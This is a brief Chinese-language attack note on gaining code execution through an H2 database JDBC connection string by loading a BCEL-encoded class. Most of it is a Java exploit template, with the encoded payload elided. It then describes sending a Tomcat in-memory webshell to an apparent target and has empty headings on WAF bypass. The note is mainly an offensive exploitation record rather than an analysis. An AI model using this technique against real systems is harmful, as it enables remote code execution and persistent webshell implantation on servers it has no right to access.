随手记
基于 BCEL 构造 H2 的不出网利用
public class Test {
public static void main(String[] args) throws Exception {
String clazzBCELCode = "$$BCEL$$...";
String connectionUrl = String.format("jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists test;create alias test as 'void exec() throws java.io.IOException { try { new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass(\\"%s\\").newInstance(); } catch (Exception e){ }}';call test();", clazzBCELCode);
Connection connection = DriverManager.getConnection(connectionUrl);
connection.close();
}
}
根据手上代码判断目标中间件大概率为 tomcat,于是直接生成对应中间件的内存马,构造请求后发过去,存在 waf
WAF 绕过
判断中间件的坑点